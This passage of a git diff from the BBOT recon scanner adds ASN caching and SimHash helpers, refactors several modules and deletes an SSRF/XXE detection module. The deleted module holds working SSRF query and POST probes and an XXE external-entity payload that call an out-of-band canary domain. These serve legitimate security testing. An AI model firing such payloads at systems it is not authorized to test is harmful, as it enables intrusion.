subnets for *asn* using cached subnet ranges where possible.""" + # Handle both int and str inputs + if isinstance(asn, int): + asn_int = asn + else: + try: + asn_int = int(str(asn.lower()).lstrip("as")) + except ValueError: + log.warning(f"Invalid ASN format: {asn}") + return self.UNKNOWN_ASN + + cached = self._cache_lookup_asn(asn_int) + if cached is not None: + log.debug(f"cache HIT for asn: {asn}") + return cached + + log.debug(f"cache MISS for asn: {asn}") + asn_data = await self._query_api_asn(asn_int) + if asn_data: + self._cache_store_asn(asn_data, asn_int) + return asn_data + return self.UNKNOWN_ASN + + async def ip_to_subnets(self, ip: str): + """Return ASN info for *ip* using cached subnet ranges where possible.""" + + ip_str = str(ipaddress.ip_address(ip)) + cached = self._cache_lookup_ip(ip_str) + if cached is not None: + log.debug(f"cache HIT for ip: {ip_str}") + return cached or self.UNKNOWN_ASN + + log.debug(f"cache MISS for ip: {ip_str}") + asn_data = await self._query_api_ip(ip_str) + if asn_data: + self._cache_store_ip(asn_data) + return asn_data + return self.UNKNOWN_ASN + + async def _query_api_ip(self, ip: str): + """Query ASN DB API for IP address information.""" + return await self._query_api(ip, self.asndb_ip_url, self._process_ip_response) + + def _process_ip_response(self, raw, ip): + """Process IP lookup response from ASN DB API.""" + subnets = raw.get("subnets", []) + # API returns subnets as array, but handle string case for safety + if isinstance(subnets, str): + subnets = [subnets] + if not subnets: + subnets = [f"{ip}/32"] + return self._build_asn_record(raw, subnets) + + async def _query_api_asn(self, asn: str): + """Query ASN DB API for ASN information.""" + return await self._query_api(asn, self.asndb_asn_url, self._process_asn_response) + + def _process_asn_response(self, raw, asn): + """Process ASN lookup response from ASN DB API.""" + subnets = raw.get("subnets", []) + # API returns subnets as array, but handle string case for safety + if isinstance(subnets, str): + subnets = [subnets] + return self._build_asn_record(raw, subnets) + + def _cache_store_asn(self, asn_record, asn_id: int): + """Cache ASN data by ASN ID""" + self._asn_to_data_cache[asn_id] = asn_record + log.debug(f"ASN cache ADD {asn_id} -> {asn_record.get('asn', '?') if asn_record else '?'}") + + def _cache_lookup_asn(self, asn_id: int): + """Lookup cached ASN data by ASN ID""" + return self._asn_to_data_cache.get(asn_id) + + def _cache_store_ip(self, asn_record): + if not (self._tree4 or self._tree6): + return + subnets = asn_record.get("subnets") or [] + if isinstance(subnets, str): + subnets = [subnets] + for p in subnets: + try: + net = ipaddress.ip_network(p, strict=False) + except ValueError: + continue + tree = self._tree4 if net.version == 4 else self._tree6 + tree.insert(str(net), data=asn_record) + log.debug(f"IP cache ADD {net} -> {asn_record.get('asn', '?')}") + + def _cache_lookup_ip(self, ip: str): + ip_obj = ipaddress.ip_address(ip) + tree = self._tree4 if ip_obj.version == 4 else self._tree6 + node = tree.get_node(ip) + if node and getattr(node, "data", None): + return node.data + return None diff --git a/bbot/core/helpers/command.py b/bbot/core/helpers/command.py index 7da96bbd38..49bb3862ad 100644 --- a/bbot/core/helpers/command.py +++ b/bbot/core/helpers/command.py @@ -195,7 +195,7 @@ async def _spawn_proc(self, *command, **kwargs): raise ValueError("stdin and input arguments may not both be used.") kwargs["stdin"] = asyncio.subprocess.PIPE - log.hugeverbose(f"run: {' '.join(command)}") + log.debug(f"run: {' '.join(command)}") try: proc = await asyncio.create_subprocess_exec(*command, **kwargs) return proc, _input, command diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 6898c73590..1292549498 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -444,8 +444,10 @@ def ensure_root(self, message=""): with self.ensure_root_lock: # first check if the environment variable is set _sudo_password = os.environ.get("BBOT_SUDO_PASS", None) - if _sudo_password is not None or os.geteuid() == 0 or can_sudo_without_password(): - # if we're already root or we can sudo without a password, there's no need to prompt + if _sudo_password is not None: + self._sudo_password = _sudo_password + return + if os.geteuid() == 0 or can_sudo_without_password(): return if message: @@ -453,7 +455,11 @@ def ensure_root(self, message=""): while not self._sudo_password: # sleep for a split second to flush previous log messages sleep(0.1) - _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ") + try: + _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ") + except OSError: + log.warning("Unable to read sudo password (no TTY). Set BBOT_SUDO_PASS env var.") + return if self.parent_helper.verify_sudo_password(_sudo_password): log.success("Authentication successful") self._sudo_password = _sudo_password diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index 1f5762214e..d86b3ada02 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -6,6 +6,7 @@ from concurrent.futures import ProcessPoolExecutor from . import misc +from .asn import ASNHelper from .dns import DNSHelper from .web import WebHelper from .diff import HttpCompare @@ -13,6 +14,7 @@ from .wordcloud import WordCloud from .interactsh import Interactsh from .yara_helper import YaraHelper +from .simhash import SimHashHelper from .depsinstaller import DepsInstaller from .async_helpers import get_event_loop @@ -87,9 +89,11 @@ def __init__(self, preset): self.re = RegexHelper(self) self.yara = YaraHelper(self) + self.simhash = SimHashHelper() self._dns = None self._web = None self._cloudcheck = None + self._asn = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -107,6 +111,12 @@ def web(self): self._web = WebHelper(self) return self._web + @property + def asn(self): + if self._asn is None: + self._asn = ASNHelper(self) + return self._asn + @property def cloudcheck(self): if self._cloudcheck is None: diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index ad96cdb374..b202888c43 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -11,9 +11,11 @@ import regex as re import subprocess as sp + from pathlib import Path from contextlib import suppress from unidecode import unidecode # noqa F401 +from typing import Iterable, Awaitable, Optional from asyncio import create_task, gather, sleep, wait_for # noqa from urllib.parse import urlparse, quote, unquote, urlunparse, urljoin # noqa F401 @@ -2595,30 +2597,101 @@ def parse_port_string(port_string): return ports -async def as_completed(coros): +async def as_completed( + coroutines: Iterable[Awaitable], + max_concurrent: Optional[int] = None, +): """ - Async generator that yields completed Tasks as they are completed. + Yield completed coroutines as they finish with optional concurrency limiting. + All coroutines are scheduled as tasks internally for execution. - Args: - coros (iterable): An iterable of coroutine objects or asyncio Tasks. + Guarantees cleanup: + - If the consumer breaks early or an internal cancellation is detected, all remaining + tasks are cancelled and awaited (with return_exceptions=True) to avoid + "Task exception was never retrieved" warnings. + """ + it = iter(coroutines) - Yields: - asyncio.Task: A Task object that has completed its execution. + running: set[asyncio.Task] = set() + limit = max_concurrent or float("inf") - Examples: - >>> async def main(): - ... async for task in as_completed([coro1(), coro2(), coro3()]): - ... result = task.result() - ... print(f'Task completed with result: {result}') + async def _cancel_and_drain_remaining(): + if not running: + return + for t in running: + t.cancel() + try: + await asyncio.gather(*running, return_exceptions=True) + finally: + running.clear() - >>> asyncio.run(main()) + # Prime the running set up to the concurrency limit (or all, if unlimited) + try: + while len(running) < limit: + coro = next(it) + running.add(asyncio.create_task(coro)) + except StopIteration: + pass + + # Dedup state for repeated error messages + _last_err = {"msg": None, "count": 0} + + try: + # Drain: yield completed tasks, backfill from the iterator as slots free up + while running: + done, running = await asyncio.wait(running, return_when=asyncio.FIRST_COMPLETED) + for task in done: + # Immediately backfill one slot per completed task, if more work remains + try: + coro = next(it) + running.add(asyncio.create_task(coro)) + except StopIteration: + pass + + # If task raised, handle cancellation gracefully and dedupe noisy repeats + if task.exception() is not None: + e = task.exception() + if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): + # Quietly stop if we're being cancelled + log.info("as_completed: cancellation detected; exiting early") + await _cancel_and_drain_remaining() + return + # Build a concise message + msg = f"as_completed yielded exception: {e}" + if msg == _last_err["msg"]: + _last_err["count"] += 1 + if _last_err["count"] <= 3: + log.warning(msg) + elif _last_err["count"] % 10 == 0: + log.warning(f"{msg} (repeated {_last_err['count']}x)") + else: + log.debug(msg) + else: + _last_err["msg"] = msg + _last_err["count"] = 1 + log.warning(msg) + yield task + finally: + # If the consumer breaks early or an error bubbles, ensure we don't leak tasks + await _cancel_and_drain_remaining() + + +def get_waf_strings(): + """ + Returns a list of common WAF (Web Application Firewall) detection strings. + + Returns: + list: List of WAF detection strings + + Examples: + >>> waf_strings = get_waf_strings() + >>> "The requested URL was rejected" in waf_strings + True """ - tasks = {coro if isinstance(coro, asyncio.Task) else asyncio.create_task(coro): coro for coro in coros} - while tasks: - done, _ = await asyncio.wait(tasks.keys(), return_when=asyncio.FIRST_COMPLETED) - for task in done: - tasks.pop(task) - yield task + return [ + "The requested URL was rejected", + "This content has been blocked", + ] def clean_dns_record(record): diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 9c0da33607..cc45b19cf6 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -42,6 +42,7 @@ "crumbly", "cryptic", "cuddly", + "cursed", "cute", "dark", "dastardly", @@ -158,6 +159,7 @@ "mysterious", "nascent", "naughty", + "nautical", "nefarious", "negligent", "neurotic", @@ -169,6 +171,7 @@ "overmedicated", "overwhelming", "overzealous", + "pacific", "paranoid", "pasty", "peckish", @@ -347,7 +350,9 @@ "brittany", "bruce", "bryan", + "buhner", "caitlyn", + "cal", "caleb", "cameron", "carl", @@ -432,6 +437,7 @@ "evan", "evelyn", "faramir", + "felix", "florence", "fox", "frances", @@ -458,6 +464,7 @@ "gollum", "grace", "gregory", + "griffey", "gus", "hagrid", "hank", @@ -472,6 +479,7 @@ "homer", "howard", "hunter", + "ichiro", "irene", "isaac", "isabella", @@ -515,6 +523,7 @@ "judy", "julia", "julie", + "julio", "justin", "karen", "katherine", @@ -547,6 +556,7 @@ "logan", "lois", "lori", + "lou", "louis", "louise", "lucius", @@ -578,6 +588,7 @@ "mildred", "milhouse", "monica", + "moose", "nancy", "natalie", "nathan", @@ -694,6 +705,8 @@ "wendy", "william", "willie", + "wilson", + "woo", "worf", "wormtongue", "xavier", diff --git a/bbot/core/helpers/simhash.py b/bbot/core/helpers/simhash.py new file mode 100644 index 0000000000..e6e05f6fcc --- /dev/null +++ b/bbot/core/helpers/simhash.py @@ -0,0 +1,113 @@ +import xxhash +import re + + +class SimHashHelper: + def __init__(self, bits=64): + self.bits = bits + + @staticmethod + def compute_simhash(text, bits=64, truncate=True, normalization_filter=None): + """ + Static method for computing SimHash that can be used with multiprocessing. + + This method is designed to be used with run_in_executor_mp() for CPU-intensive + SimHash computations across multiple processes. + + Args: + text (str): The text to hash + bits (int): Number of bits for the hash. Defaults to 64. + truncate (bool): Whether to truncate large text for performance. Defaults to True. + normalization_filter (str): Text to remove for normalization. Defaults to None. + + Returns: + int: The SimHash fingerprint + """ + helper = SimHashHelper(bits=bits) + return helper.hash(text, truncate=truncate, normalization_filter=normalization_filter) + + def _truncate_content(self, content): + """ + Truncate large content for similarity comparison to improve performance. + + Truncation rules: + - If content <= 3072 bytes: return as-is + - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes + """ + content_length = len(content) + + # No truncation needed for smaller content + if content_length <= 3072: + return content + + # Truncate: first 2048 + last 1024 bytes + first_part = content[:2048] + last_part = content[-1024:] + + return first_part + last_part + + def _normalize_text(self, text, normalization_filter): + """ + Normalize text by removing the normalization filter from the text. + """ + return text.replace(normalization_filter, "") + + def _get_features(self, text): + """Extract 3-character shingles as features""" + width = 3 + text = text.lower() + # Remove non-word characters + text = re.sub(r"[^\w]+", "", text) + # Create 3-character shingles + return [text[i : i + width] for i in range(max(len(text) - width + 1, 1))] + + def _hash_feature(self, feature): + """Return a hash of a feature using xxHash""" + return xxhash.xxh64(feature.encode("utf-8")).intdigest() + + def hash(self, text, truncate=True, normalization_filter=None): + """ + Generate a SimHash fingerprint for the given text. + + Args: + text (str): The text to hash + truncate (bool): Whether to truncate large text for performance. Defaults to True. + When enabled, text larger than 4KB is truncated to first 2KB + last 1KB for comparison. + + Returns: + int: The SimHash fingerprint + """ + # Apply truncation if enabled + if truncate: + text = self._truncate_content(text) + + if normalization_filter: + text = self._normalize_text(text, normalization_filter) + + vector = [0] * self.bits + features = self._get_features(text) + + for feature in features: + hv = self._hash_feature(feature) + for i in range(self.bits): + bit = (hv >> i) & 1 + vector[i] += 1 if bit else -1 + + # Final fingerprint + fingerprint = 0 + for i, val in enumerate(vector): + if val >= 0: + fingerprint |= 1 << i + return fingerprint + + def similarity(self, hash1, hash2): + """ + Compute similarity between two SimHashes as a value between 0.0 and 1.0. + """ + # Hamming distance: count of differing bits + diff = (hash1 ^ hash2).bit_count() + return 1.0 - (diff / self.bits) + + +# Module-level alias for the static method to enable clean imports +compute_simhash = SimHashHelper.compute_simhash diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 60ff35dd59..8627d1e159 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -56,10 +56,7 @@ def __init__(self, parent_helper): self.target = self.preset.target self.ssl_verify = self.config.get("ssl_verify", False) engine_debug = self.config.get("engine", {}).get("debug", False) - super().__init__( - server_kwargs={"config": self.config, "target": self.parent_helper.preset.target}, - debug=engine_debug, - ) + super().__init__(server_kwargs={"config": self.config, "target": self.target}, debug=engine_debug) def AsyncClient(self, *args, **kwargs): # cache by retries to prevent unwanted accumulation of clients diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 7bdb440b2d..daf71ecfb1 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -476,9 +476,10 @@ def load_modules(self, module_names): try: module = self.load_module(module_name) except ModuleNotFoundError as e: - raise BBOTError( + log.warning( f"Error loading module {module_name}: {e}. You may have leftover artifacts from an older version of BBOT. Try deleting/renaming your '~/.bbot' directory." - ) from e + ) + module = None modules[module_name] = module return modules diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 0b6a330a2f..c6142fcc5e 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -2,7 +2,6 @@ from baddns.lib.loader import load_signatures from .base import BaseModule -import asyncio import logging @@ -54,8 +53,17 @@ async def setup(self): self.debug(f"Enabled BadDNS Submodules: [{','.join(self.enabled_submodules)}]") return True + async def _run_module(self, module_instance): + """Wrapper coroutine that runs a module and returns both the module and result""" + try: + result = await module_instance.dispatch() + return module_instance, result + except Exception as e: + self.warning(f"Task for {module_instance} raised an error: {e}") + return module_instance, None + async def handle_event(self, event): - tasks = [] + coroutines = [] for ModuleClass in self.select_modules(): kwargs = { "http_client_class": self.scan.helpers.web.AsyncClient, @@ -70,16 +78,16 @@ async def handle_event(self, event): kwargs["raw_query_retry_wait"] = 0 module_instance = ModuleClass(event.data, **kwargs) - task = asyncio.create_task(module_instance.dispatch()) - tasks.append((module_instance, task)) + # Create wrapper coroutine that includes the module instance + coroutine = self._run_module(module_instance) + coroutines.append(coroutine) - async for completed_task in self.helpers.as_completed([task for _, task in tasks]): - module_instance = next((m for m, t in tasks if t == completed_task), None) + async for completed_coro in self.helpers.as_completed(coroutines): try: - task_result = await completed_task + module_instance, task_result = await completed_coro except Exception as e: - self.warning(f"Task for {module_instance} raised an error: {e}") - task_result = None + self.warning(f"Wrapper coroutine raised an error: {e}") + continue if task_result: results = module_instance.analyze() @@ -139,4 +147,4 @@ async def handle_event(self, event): tags=[f"baddns-{module_instance.name.lower()}"], context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {{event.data}}', ) - await module_instance.cleanup() + await module_instance.cleanup() diff --git a/bbot/modules/bypass403.py b/bbot/modules/bypass403.py index 769f341e9e..9c7239baaa 100644 --- a/bbot/modules/bypass403.py +++ b/bbot/modules/bypass403.py @@ -63,8 +63,6 @@ "X-Host": "127.0.0.1", } -# This is planned to be replaced in the future: https://github.com/blacklanternsecurity/bbot/issues/1068 -waf_strings = ["The requested URL was rejected"] for qp in query_payloads: signatures.append(("GET", "{scheme}://{netloc}/{path}%s" % qp, None, True)) @@ -107,8 +105,8 @@ async def do_checks(self, compare_helper, event, collapse_threshold): # In some cases WAFs will respond with a 200 code which causes a false positive if subject_response is not None: - for ws in waf_strings: - if ws in subject_response.text: + for waf_string in self.helpers.get_waf_strings(): + if waf_string in subject_response.text: self.debug("Rejecting result based on presence of WAF string") return diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py deleted file mode 100644 index 648c32c2ce..0000000000 --- a/bbot/modules/generic_ssrf.py +++ /dev/null @@ -1,263 +0,0 @@ -from bbot.errors import InteractshError -from bbot.modules.base import BaseModule - - -ssrf_params = [ - "Dest", - "Redirect", - "URI", - "Path", - "Continue", - "URL", - "Window", - "Next", - "Data", - "Reference", - "Site", - "HTML", - "Val", - "Validate", - "Domain", - "Callback", - "Return", - "Page", - "Feed", - "Host", - "Port", - "To", - "Out", - "View", - "Dir", - "Show", - "Navigation", - "Open", -] - - -class BaseSubmodule: - technique_description = "base technique description" - severity = "INFO" - paths = [] - - def __init__(self, generic_ssrf): - self.generic_ssrf = generic_ssrf - self.test_paths = self.create_paths() - - def set_base_url(self, event): - return f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - - def create_paths(self): - return self.paths - - async def test(self, event): - base_url = self.set_base_url(event) - for test_path_result in self.test_paths: - for lower in [True, False]: - test_path = test_path_result[0] - if lower: - test_path = test_path.lower() - subdomain_tag = test_path_result[1] - test_url = f"{base_url}{test_path}" - self.generic_ssrf.debug(f"Sending request to URL: {test_url}") - r = await self.generic_ssrf.helpers.curl(url=test_url) - if r: - self.process(event, r, subdomain_tag) - - def process(self, event, r, subdomain_tag): - response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] - if response_token in r: - echoed_response = True - else: - echoed_response = False - - self.generic_ssrf.interactsh_subdomain_tags[subdomain_tag] = ( - event, - self.technique_description, - self.severity, - echoed_response, - ) - - -class Generic_SSRF(BaseSubmodule): - technique_description = "Generic SSRF (GET)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - def create_paths(self): - test_paths = [] - for param in ssrf_params: - query_string = "" - subdomain_tag = self.generic_ssrf.helpers.rand_string(4) - ssrf_canary = f"{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - query_string += f"{param}=http://{ssrf_canary}&" - test_paths.append((f"?{query_string.rstrip('&')}", subdomain_tag)) - return test_paths - - -class Generic_SSRF_POST(BaseSubmodule): - technique_description = "Generic SSRF (POST)" - severity = "HIGH" - - def set_base_url(self, event): - return event.data - - async def test(self, event): - test_url = f"{event.data}" - - post_data = {} - for param in ssrf_params: - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - self.generic_ssrf.parameter_subdomain_tags_map[subdomain_tag] = param - post_data[param] = f"http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" - - subdomain_tag_lower = self.generic_ssrf.helpers.rand_string(4, digits=False) - post_data_lower = { - k.lower(): f"http://{subdomain_tag_lower}.{self.generic_ssrf.interactsh_domain}" - for k, v in post_data.items() - } - - post_data_list = [(subdomain_tag, post_data), (subdomain_tag_lower, post_data_lower)] - - for tag, pd in post_data_list: - r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r, tag) - - -class Generic_XXE(BaseSubmodule): - technique_description = "Generic XXE" - severity = "HIGH" - paths = None - - async def test(self, event): - rand_entity = self.generic_ssrf.helpers.rand_string(4, digits=False) - subdomain_tag = self.generic_ssrf.helpers.rand_string(4, digits=False) - - post_body = f"""<?xml version="1.0" encoding="ISO-8859-1"?> -<!DOCTYPE foo [ -<!ELEMENT foo ANY > -<!ENTITY {rand_entity} SYSTEM "http://{subdomain_tag}.{self.generic_ssrf.interactsh_domain}" > -]> -<foo>&{rand_entity};</foo>""" - test_url = event.parsed_url.geturl() - r = await self.generic_ssrf.helpers.curl( - url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} - ) - if r: - self.process(event, r, subdomain_tag) - - -class generic_ssrf(BaseModule): - watched_events = ["URL"] - produced_events = ["FINDING"] - flags = ["active", "aggressive", "web-thorough"] - meta = {"description": "Check for generic SSRFs", "created_date": "2022-07-30", "author": "@liquidsec"} - options = { - "skip_dns_interaction": False, - } - options_desc = { - "skip_dns_interaction": "Do not report DNS interactions (only HTTP interaction)", - } - in_scope_only = True - - deps_apt = ["curl"] - - async def setup(self): - self.submodules = {} - self.interactsh_subdomain_tags = {} - self.parameter_subdomain_tags_map = {} - self.severity = None - self.skip_dns_interaction = self.config.get("skip_dns_interaction", False) - - if self.scan.config.get("interactsh_disable", False) is False: - try: - self.interactsh_instance = self.helpers.interactsh() - self.interactsh_domain = await self.interactsh_instance.register(callback=self.interactsh_callback) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - return False - else: - self.warning( - "The generic_ssrf module is completely dependent on interactsh to function, but it is disabled globally. Aborting." - ) - return None - - # instantiate submodules - for m in BaseSubmodule.__subclasses__(): - if m.__name__.startswith("Generic_"): - self.verbose(f"Starting generic_ssrf submodule: {m.__name__}") - self.submodules[m.__name__] = m(self) - - return True - - async def handle_event(self, event): - for s in self.submodules.values(): - await s.test(event) - - async def interactsh_callback(self, r): - protocol = r.get("protocol").upper() - if protocol == "DNS" and self.skip_dns_interaction: - return - - full_id = r.get("full-id", None) - subdomain_tag = full_id.split(".")[0] - - if full_id: - if "." in full_id: - match = self.interactsh_subdomain_tags.get(subdomain_tag) - if not match: - return - matched_event = match[0] - matched_technique = match[1] - matched_severity = match[2] - matched_echoed_response = str(match[3]) - - triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) - description = f"Out-of-band interaction: [{matched_technique}]" - if triggering_param: - self.debug(f"Found triggering parameter: {triggering_param}") - description += f" [Triggering Parameter: {triggering_param}]" - description += f" [{protocol}] Echoed Response: {matched_echoed_response}" - - self.debug(f"Emitting event with description: {description}") # Debug the final description - - confidence = "CONFIRMED" if protocol == "HTTP" else "MODERATE" - event_data = { - "host": str(matched_event.host), - "url": matched_event.data, - "description": description, - "name": "Generic SSRF Detection", - "confidence": confidence, - "severity": matched_severity, - } - - await self.emit_event( - event_data, - "FINDING", - matched_event, - context=f"{{module}} scanned {matched_event.data} and detected {{event.type}}: {matched_technique}", - ) - else: - # this is likely caused by something trying to resolve the base domain first and can be ignored - self.debug("skipping result because subdomain tag was missing") - - async def cleanup(self): - if self.scan.config.get("interactsh_disable", False) is False: - try: - await self.interactsh_instance.deregister() - self.debug( - f"successfully deregistered interactsh session with correlation_id {self.interactsh_instance.correlation_id}" - ) - except InteractshError as e: - self.warning(f"Interactsh failure: {e}") - - async def finish(self): - if self.scan.config.get("interactsh_disable", False) is False: - await self.helpers.sleep(5) - try: - for r in await self.interactsh_instance.poll(): - await self.interactsh_callback(r) - except InteractshError as e: - self.debug(f"Error in interact.sh: {e}") diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index 45f3c6a6f0..2ad27f1967 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -32,9 +32,9 @@ class speculate(BaseInternalModule): "author": "@liquidsec", } - options = {"max_hosts": 65536, "ports": "80,443", "essential_only": False} + options = {"ip_range_max_hosts": 65536, "ports": "80,443", "essential_only": False} options_desc = { - "max_hosts": "Max number of IP_RANGE hosts to convert into IP_ADDRESS events", + "ip_range_max_hosts": "Max number of hosts an IP_RANGE can contain to allow conversion into IP_ADDRESS events", "ports": "The set of ports to speculate on", "essential_only": "Only enable essential speculate features (no extra discovery)", } @@ -64,16 +64,6 @@ async def setup(self): if not self.portscanner_enabled: self.info(f"No portscanner enabled. Assuming open ports: {', '.join(str(x) for x in self.ports)}") - - target_len = len(self.scan.target.seeds) - if target_len > self.config.get("max_hosts", 65536): - if not self.portscanner_enabled: - self.hugewarning( - f"Selected target ({target_len:,} hosts) is too large, skipping IP_RANGE --> IP_ADDRESS speculation" - ) - self.hugewarning('Enabling the "portscan" module is highly recommended') - self.range_to_ip = False - return True async def handle_event(self, event): @@ -86,8 +76,17 @@ async def handle_event(self, event): speculate_open_ports = self.emit_open_ports and event_in_scope_distance # generate individual IP addresses from IP range - if event.type == "IP_RANGE" and self.range_to_ip: + if event.type == "IP_RANGE": net = ipaddress.ip_network(event.data) + num_ips = net.num_addresses + ip_range_max_hosts = self.config.get("ip_range_max_hosts", 65536) + + if num_ips > ip_range_max_hosts: + self.warning( + f"IP range {event.data} contains {num_ips:,} addresses, which exceeds ip_range_max_hosts limit of {ip_range_max_hosts:,}. Skipping IP_ADDRESS speculation." + ) + return + ips = list(net) random.shuffle(ips) for ip in ips: diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index e642122feb..a8bd01cdb2 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -46,6 +46,7 @@ async def filter_event(self, event): async def handle_event(self, event): json_mode = "human" if self.text_format == "text" else "json" event_json = event.json(mode=json_mode) + if self.show_event_fields: event_json = {k: str(event_json.get(k, "")) for k in self.show_event_fields} diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 3b3c488d15..f24e6e5f00 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -1,4 +1,5 @@ from bbot.modules.report.base import BaseReportModule +from bbot.core.helpers.asn import ASNHelper class asn(BaseReportModule): @@ -16,17 +17,9 @@ class asn(BaseReportModule): accept_dupes = True async def setup(self): - self.asn_counts = {} - self.asn_cache = {} - self.ripe_cache = {} - self.sources = ["bgpview", "ripe"] - self.unknown_asn = { - "asn": "UNKNOWN", - "subnet": "0.0.0.0/32", - "name": "unknown", - "description": "unknown", - "country": "", - } + self.unknown_asn = ASNHelper.UNKNOWN_ASN + # Track ASN counts locally for reporting + self.asn_counts = {} # ASN number -> count mapping return True async def filter_event(self, event): @@ -38,25 +31,33 @@ async def filter_event(self, event): async def handle_event(self, event): host = event.host - if self.cache_get(host) is False: - asns, source = await self.get_asn(host) - if not asns: - self.cache_put(self.unknown_asn) - else: - for asn in asns: - emails = asn.pop("emails", []) - self.cache_put(asn) - asn_event = self.make_event(asn, "ASN", parent=event) - asn_number = asn.get("asn", "") - asn_desc = asn.get("description", "") - asn_name = asn.get("name", "") - asn_subnet = asn.get("subnet", "") - if not asn_event: - continue + host_str = str(host) + + asn_data = await self.helpers.asn.ip_to_subnets(host_str) + if asn_data: + asn_record = asn_data + asn_number = asn_record.get("asn") + asn_description = asn_record.get("description", "") + asn_name = asn_record.get("name", "") + asn_country = asn_record.get("country", "") + subnets = asn_record.get("subnets", []) + + # Track ASN subnet counts for reporting (only once per ASN) + if asn_number and asn_number != "UNKNOWN" and asn_number != "0": + if asn_number not in self.asn_counts: + subnet_count = len(subnets) + self.asn_counts[asn_number] = subnet_count + + emails = asn_record.get("emails", []) + # Don't emit ASN 0 - it's reserved and indicates unknown ASN data + if asn_number != "0": + asn_event = self.make_event(int(asn_number), "ASN", parent=event) + if asn_event: await self.emit_event( asn_event, - context=f"{{module}} checked {event.data} against {source} API and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_subnet})", + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})", ) + for email in emails: await self.emit_event( email, @@ -66,187 +67,35 @@ async def handle_event(self, event): ) async def report(self): - asn_data = sorted(self.asn_cache.items(), key=lambda x: self.asn_counts[x[0]], reverse=True) - if not asn_data: - return - header = ["ASN", "Subnet", "Host Count", "Name", "Description", "Country"] - table = [] - for subnet, asn in asn_data: - count = self.asn_counts[subnet] - number = asn["asn"] - if number != "UNKNOWN": - number = "AS" + number - name = asn["name"] - country = asn["country"] - description = asn["description"] - table.append([number, str(subnet), f"{count:,}", name, description, country]) - self.log_table(table, header, table_name="asns") - - def cache_put(self, asn): - asn = dict(asn) - subnet = self.helpers.make_ip_type(asn.pop("subnet")) - self.asn_cache[subnet] = asn - try: - self.asn_counts[subnet] += 1 - except KeyError: - self.asn_counts[subnet] = 1 - - def cache_get(self, ip): - ret = False - for p in self.helpers.ip_network_parents(ip): - try: - self.asn_counts[p] += 1 - if ret is False: - ret = p - except KeyError: - continue - return ret + """Generate an ASN summary table based on locally tracked ASN counts.""" - async def get_asn(self, ip, retries=1): - """ - Takes in an IP - returns a list of ASNs, e.g.: - [{'asn': '54113', 'subnet': '2606:50c0:8000::/48', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}, {'asn': '54113', 'subnet': '2606:50c0:8000::/46', 'name': 'FASTLY', 'description': 'Fastly', 'country': 'US', 'emails': []}] - """ - for attempt in range(retries + 1): - for i, source in enumerate(list(self.sources)): - get_asn_fn = getattr(self, f"get_asn_{source}") - res = await get_asn_fn(ip) - if res is False: - # demote the current source to lowest priority since it just failed - self.sources.append(self.sources.pop(i)) - self.verbose(f"Failed to contact {source}, retrying") - continue - return res, source - self.warning(f"Error retrieving ASN for {ip}") - return [], "" + if not self.asn_counts: + return - async def get_asn_ripe(self, ip): - url = f"https://stat.ripe.net/data/network-info/data.json?resource={ip}" - response = await self.get_url(url, "ASN") - asns = [] - if response is False: - return False - data = response.get("data", {}) - if not data: - data = {} - prefix = data.get("prefix", "") - asn_numbers = data.get("asns", []) - if not prefix or not asn_numbers: - return [] - if not asn_numbers: - asn_numbers = [] - for number in asn_numbers: - asn = await self.get_asn_metadata_ripe(number) - if asn is False: - return False - asn["subnet"] = prefix - asns.append(asn) - return asns + # Build table rows sorted by ASN number (low to high) + sorted_asns = sorted(self.asn_counts.items(), key=lambda x: int(x[0])) - async def get_asn_metadata_ripe(self, asn_number): - try: - return self.ripe_cache[asn_number] - except KeyError: - metadata_keys = { - "name": ["ASName", "OrgId"], - "description": ["OrgName", "OrgTechName", 